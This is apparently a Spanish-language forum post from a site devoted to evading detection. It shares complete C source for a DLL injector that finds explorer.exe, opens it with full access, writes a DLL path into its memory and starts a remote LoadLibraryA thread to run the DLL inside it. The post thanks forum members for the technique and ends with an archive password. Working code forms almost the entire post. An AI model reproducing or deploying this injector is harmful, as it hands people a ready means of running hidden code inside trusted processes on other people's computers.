
Código: Seleccionar todo
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <Tlhelp32.h>
int main(int argc, char *argv[])
{
//Agradecimientos//
//Drinky94: Por explicarme el funcionamiento de la Inyeccion y algunos parámetros.
//e0n: porque gracias a su código deb CryptAPI para la Inyeccion en C++ logré compreder el real funcionamiento.
///////////////////
PROCESSENTRY32 BloqueP;
char RUTADLL[MAX_PATH] = "C:\\ladll.DLL";
HANDLE RetEnum = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
Process32First(RetEnum,&BloqueP);
while(Process32Next(RetEnum,&BloqueP)) //Hacemos un bucle para recorrer todos los procesos abiertos.
{
int comparacion = strcmp(BloqueP.szExeFile,"explorer.exe"); //Si el proceso actual es el explorer.exe
if(comparacion == 0)
{
//Abrimos el Proceso y obtenemos su HANDLE
HANDLE IDPROCESO = OpenProcess(PROCESS_ALL_ACCESS,0,BloqueP.th32ProcessID);
if(IDPROCESO != NULL){
//Obtenemos la Direccion de LoadLibrary con GetProcAdress y la guardamos para su posterior uso
LPVOID Pare1 = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
//Creamos Espacio en el proceso y almacenamos el creado en la variable AB
LPVOID AB = (LPVOID)VirtualAllocEx(IDPROCESO,NULL,strlen(RUTADLL),MEM_COMMIT | MEM_RESERVE,PAGE_READWRITE);
//Escribimos en el proceso la ruta de nuestra dll con sus funciones
WriteProcessMemory(IDPROCESO,(LPVOID)AB,RUTADLL,strlen(RUTADLL),NULL);
//Creamos un Thread en el proceso que ejecute la funcion de nuestra dll
CreateRemoteThread(IDPROCESO,NULL,NULL,(LPTHREAD_START_ROUTINE)Pare1,(LPVOID)AB,NULL,NULL);
return 1;
}
}
}
CloseHandle(RetEnum);
getchar();
return 0;
}
pass: indetectables.net
Finalmente,decir que el mérito es de Drinky94,sin el apenas me quedaría en VirtualAlloc.